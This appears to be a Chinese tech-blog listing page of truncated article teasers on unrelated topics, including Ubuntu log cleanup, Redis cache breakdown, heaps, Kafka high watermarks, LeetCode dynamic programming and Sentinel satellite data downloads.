目录 练第一步 有氧运动关节活动度 第二步 脊柱侧弯吃 练 https://www.bilibili.com/video/BV14v4y1G7A3 第一步 有氧运动 有氧运动锻炼心肺 最大心率保持在50% - 60% 关节活动度 髋关节活动 亚足背屈   绕肩&#xff0c;肩环绕肩   第二步 高频的中等强度&#xf…

ubuntu_定制文件系统[2]-清理日志log

1.问题现象 系统长时间运行, 产生大量的系统日志 ubuntu/debian 系统日志如下 /var/log$ du -sh * 31M syslog # syslog日志 61M syslog.1 2.5G journal/ # systemd service日志 当日志文件过大, 硬盘空间占用100%时, 导致各种异常 命令按tab补全无响应服务/进程启动异常服务…

Google Play上架:自查封号政策解析(高风险行为之不允许破坏Google Play生态系统中用户信任度的应用或应用内容)

本文章提供给近期被封号的开发者们&#xff0c;希望能带来帮助&#xff0c;有其他的自查方向后续也会发布出来。 ——————————————————————————————————————— 用户数据设备和网络滥用 用户数据 设备和网络滥用

redis 缓存击穿问题(互斥锁,逻辑过期)

1、缓存击穿问题 缓存击穿问题:一个被高并发访问并且缓存重建业务较复杂的key突然失效了&#xff0c;无数的请求访问会在瞬间给数据库带来巨大的冲击。 场景:假设线程1在查询缓存之后&#xff0c;本来应该去查询数据库&#xff0c;然后把这个数据重新加…

堆以及堆的实现

文章目录 堆的概念堆的实现HeapPushHeapPop HeapTop HeapSize HeapEmpty堆的应用 堆的概念 堆是一颗完全二叉树每个结点的值都小于子结点的值&#xff0c;这颗二叉树为小根堆每个结点的值都大于子结点的值&#xff0c;这颗二叉树为大根堆堆的定义如下&#xff1a;n个元素的序列…

开展庆2024年“三八”国际妇女节系列纪念活动怎样向媒体投稿?

为了向媒体投稿,庆祝2024年“三八”国际妇女节系列纪念活动,你可以遵循以下步骤: 策划与准备: 确定纪念活动的主题和目标,例如提升女性权益、表彰女性成就、促进性别平等。 策划一系列活动,如研讨会、表彰仪式、展览、讲座等,确保内容丰富多样。 准备相关的背景资料、活动介…

Linux Watchdog 机制是什么

当涉及到Linux操作系统的稳定性和可靠性时&#xff0c;Linux Watchdog机制是一个至关重要的议题。该机制旨在监控系统状态&#xff0c;确保在出现问题时采取适当的措施以维持系统的正常运行。本文将深入探讨Linux Watchdog机制的工作原理、应用范围以及如何配置和使用该机制来提…

WebGIS开发0基础必看教程:WebGIS中的要素(Feature)

1.前言 在GIS中元素一般分为点元素&#xff0c;线元素&#xff0c;面元素以及symbol元素&#xff08;特殊的点元素&#xff09;等。与此对应&#xff0c;图层可以分为点图层&#xff0c;线图层&#xff0c;面图层以及标注图层等。从第9章到第10章&#xff0c;我给大家讲解了什…

力扣大厂热门面试算法题 - 动态规划

爬梯子、跳跃游戏、最小路径和、杨辉三角、接雨水。每题做详细思路梳理&#xff0c;配套Python&Java双语代码&#xff0c; 2024.03.05 可通过leetcode所有测试用例。 目录 70. 爬楼梯 解题思路 完整代码 Python Java 55. 跳跃游戏 解题思路 完整代码 Python 代码…

kafka高水位和leader epoch

什么是高水位&#xff1f; 高水位表示分区下副本消息到哪里是算正常提交的。比如如下图&#xff1a;leader副本写到8了&#xff0c;follower副本也写到8&#xff0c;那么这个8就代表要求的副本都写入了。消息到8这里才算提交成功&#xff0c;后面的15写入了也不算提交成功&…

【Leetcode 2673】使二叉树所有路径值相等的最小代价 —— 贪心法

2673. 使二叉树所有路径值相等的最小代价 给你一个整数n表示一棵 满二叉树 里面节点的数目&#xff0c;节点编号从1到n。根节点编号为1&#xff0c;树中每个非叶子节点i都有两个孩子&#xff0c;分别是左孩子2 * i和右孩子2 * i 1。 树中每个节点都有一个值&#xff0c;用下…

Vscode C/C++ 编译问题

1.最近开始在VScode上编写程序&#xff0c;遇到了以下的坑 This may occur if the process’s executable was changed after the process wasstarted, such as when installing an update. Try re-launching the application orrestarting the machine. 2.原因 这个不是由vs…

技术上的判断令你如何确定现货黄金卖出时机?

要讨论现货黄金卖出时机&#xff0c;我们首先要搞清楚一个问题&#xff0c;就是开仓和平仓的问题&#xff0c;如果投资者已经成了市场中的多头&#xff0c;那他寻找的卖出时机就是要找多头平仓的时机&#xff0c;如果投资者还没开仓&#xff0c;正在寻找市场中的开仓机会&#…

【RS】最新欧空局Sentinel-2卫星数据下载(哨兵1、2、3、5P、6系列)

之前分享过Sentinel2数据下载的方法&#xff0c;但是有粉丝反应欧空局的网站更新了&#xff0c;之前的网站已经不能用了。所以自己抽空研究了一下新版的欧空局网站&#xff0c;今天就和大家分享一下如何使用新版的欧空局网站下载哨兵系列的卫星数据&#xff0c;本文以Sentinel2…

c语言-大小写字母的转换

目录 方法一&#xff1a;库函数直接转换 1、toupper的测试代码 2、tolower的测试代码 方法二&#xff1a;通过修改ASCII码值转换 1、自己实现大写转小写 2、自己实现小写转大写 结语 前言&#xff1a; 在使用c语言写代码时&#xff0c;通常会遇到很多将大小写字母相互…

IP定位在公安部门的使用及其重要性

随着信息技术的迅猛发展&#xff0c;互联网已成为现代社会不可或缺的一部分。然而&#xff0c;与此同时&#xff0c;网络犯罪也呈现出日益猖獗的趋势&#xff0c;给社会治安带来了极大的挑战。在这样的背景下&#xff0c;IP定位技术在公安部门的应用显得尤为重要。本文将对IP定…